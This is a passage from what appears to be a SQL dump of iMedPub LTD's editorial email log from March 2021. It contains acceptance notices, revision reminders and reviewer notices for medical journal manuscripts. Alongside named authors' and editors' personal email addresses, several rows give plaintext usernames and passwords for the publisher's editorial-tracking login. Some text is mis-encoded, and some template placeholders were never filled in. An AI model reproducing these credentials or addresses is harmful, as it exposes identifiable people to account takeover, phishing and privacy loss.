Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Anoop85kv@yahoo.com',7627,'2021-03-23',48),(2849,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7594</b><br />\r\n            <br />\r\n            Article Title: <b>Factors associated with voluntary blood donation among graduating class students of Assosa University, Benishangul Gumuz, Ethiopia, 2018</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Ayenew</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-22</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','birhanua2015@gmail.com',7594,'2021-03-23',48),(2865,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7806</b><br />\r\n            <br />\r\n            Article Title: <b>Systematic Mapping Study of The Covid-19&acirc;&euro;&trade;s Psychological Impact</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Tsoukalis-Chaikalis</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-24</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ntsoukalis@uniwa.gr',7806,'2021-03-25',48),(2868,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iptb-21-7063</b><br />\r\n            <br />\r\n            Article Title: <b>Anterior rhinorrhea revealing meningocele: a case report</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.transbiomedicine.com/\" target=\"_blank\">Translational Biomedicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Gliti</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Translational Biomedicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-24</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mohamed.ali.gliti@gmail.com',7063,'2021-03-25',673),(2869,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7779</b><br />\r\n            <br />\r\n            Article Title: <b>KNOWLEDGE, ATTITUDE AND UTIIZATION OF ANTENATAL CARE AMONG CHILDBEARING WOMEN IN WASINMI COMMUNITY, OGUN STATE, NIGERIA.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Oluseye</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-20</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','olubim4real@yahoo.com',7779,'2021-03-25',48),(2872,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7557</b><br />\r\n            <br />\r\n            Article Title: <b>Methodology and feasibility of neurofeedback to improve visual attention to letters in mild Alzheimer&acirc;&euro;&trade;s disease</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Oken</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','oken@ohsu.edu',7557,'2021-03-25',75),(2876,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7420</b><br />\r\n            <br />\r\n            Article Title: <b>R2* relaxometry in sclerotic hippocampi of patients with temporal lobe epilepsy</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>S&Atilde;&frac14;t&Aring;&lsquo;</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipjnn-21-7420</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.jneuro.com/\">https://www.jneuro.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>zs&Atilde;&sup3;fia</b><br />\r\n            Password : <b>UUZVdTgo</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','zsofia.suto94@gmail.com',7420,'2021-03-26',75),(2877,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7888</b><br />\r\n            <br />\r\n            Article Title: <b>PARAMEDIC MICROPIGMENTATION IN AREOLS AS A FACTOR IN THE IMPROVEMENT OF THE QUALITY OF LIFE OF MASTECTOMIZED WOMEN</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>de Oliveira Rocha</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','lari1980@gmail.com',7888,'2021-03-26',48),(2878,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7868</b><br />\r\n            <br />\r\n            Article Title: <b>Data systems international </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Kabugi</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','kabugiwachira@gmail.com',7868,'2021-03-26',48),(2879,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7763</b><br />\r\n            <br />\r\n            Article Title: <b>Blood Donation In Another Vision</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Abdrabou</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','amreid@cu.edu.eg',7763,'2021-03-26',48),(2880,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7868</b><br />\r\n            <br />\r\n            Article Title: <b>Data systems international </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Kabugi</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','kabugiwachira@gmail.com',7868,'2021-03-26',48),(2881,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7888</b><br />\r\n            <br />\r\n            Article Title: <b>PARAMEDIC MICROPIGMENTATION IN AREOLS AS A FACTOR IN THE IMPROVEMENT OF THE QUALITY OF LIFE OF MASTECTOMIZED WOMEN</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>de Oliveira Rocha</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','lari1980@gmail.com',7888,'2021-03-26',48),(2882,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacr-21-7700</b><br />\r\n            <br />\r\n            Article Title: <b>MULTIMODALITY IMAGING BASED TREATMENT VOLUME DEFINITION FOR REIRRADIATION OF RECURRENT SMALL CELL LUNG CANCER (SCLC)</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Omer Sager</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives in Cancer Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Qazi</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacr-21-7700</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> dr._asif_khurshid_,<br />\r\n            <b>Password:</b> XlYEhJiG<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acanceresearch.com/\">Archives in Cancer Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','qazi_biochem@rediffmail.com',7700,'2021-03-26',972),(2887,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-21-7424</b><br />\r\n            <br />\r\n            Article Title: <b>PROSPECTIVE INTERVENTIONAL STUDY TO EVALUATE THE EFFECT OF A MEDICAL DEVICE MADE OF SUBSTANCES IN REDUCING SIGNS AND SYMPTOMS IN PATIENTS WITH HEMORRHOIDAL DISEASE</b><br />\r\n            <br />\r\n            Journal Title: <b>Annals of Clinical and Laboratory Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Gouri</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaclr-21-7424</b> for the <b>Annals of Clinical and Laboratory Research</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','pharmagor@gmail.com',7424,'2021-03-27',984),(2892,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7559</b><br />\r\n            <br />\r\n            Article Title: <b>Intraoperative Neurophysiological Monitoring</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Pablo Martinez-Soler</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Etindele Sosso</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-21-7559</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> faustin_armel<br />\r\n            <b>Password:</b> HUJvN1Yf<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','faustin.armel.etindele.sosso@umontreal.ca',7559,'2021-03-27',75),(2904,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-21-7424</b><br />\r\n            <br />\r\n            Article Title: <b>PROSPECTIVE INTERVENTIONAL STUDY TO EVALUATE THE EFFECT OF A MEDICAL DEVICE MADE OF SUBSTANCES IN REDUCING SIGNS AND SYMPTOMS IN PATIENTS WITH HEMORRHOIDAL DISEASE</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.aclr.com.es/\" target=\"_blank\">Annals of Clinical and Laboratory Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Laureti</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Annals of Clinical and Laboratory Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-30</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@galleyproofs.com\">accounting@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','silvio.laureti2@unibo.it',7424,'2021-03-31',984),(2905,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-7669</b><br />\r\n            <br />\r\n            Article Title: <b>Impact of Corona Virus Disease-2019 (COVID-19) Pandemic on Social Lives and Interactions of Nigerian Citizens</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Odionye</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-30</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','odionyechinwe@yahoo.com',7669,'2021-03-31',85),(2907,'<p>Ref.:  Ms. No. : <b>ipaom-20-6964</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Comparative analysis of biochemical indexes of severe and non-severe patients infected with COVID-19</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. boufrioua</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-6964</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>el_ghali</b><br />\r\npassword: <b>NtJmwfgn</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','boufriouaelghali@gmail.com',6964,'2021-03-31',85),(2908,'<p>Ref.:  Ms. No. : <b>ipaom-20-6851</b><br />\r\n<br />\r\nARTICLE TITLE: <b>The application of Chloroquine and Hydroxychloroquine in the treatment of coronavirus disease 2019 (COVID-19).</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Bouhmou</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-6851</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>ayoub</b><br />\r\npassword: <b>8UKQYWcn</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','ayoub_1900@hotmail.fr',6851,'2021-03-31',85),(2909,'<p>Ref.:  Ms. No. : <b>ipaom-21-7030</b><br />\r\n<br />\r\nARTICLE TITLE: <b>DO HEMATOLOG&Auml;&deg;C CANCERS &Auml;&deg;NCREASE THE FREQUENCY OF DEMODEX SPP?</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Ilhan</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-7030</b> was expected by 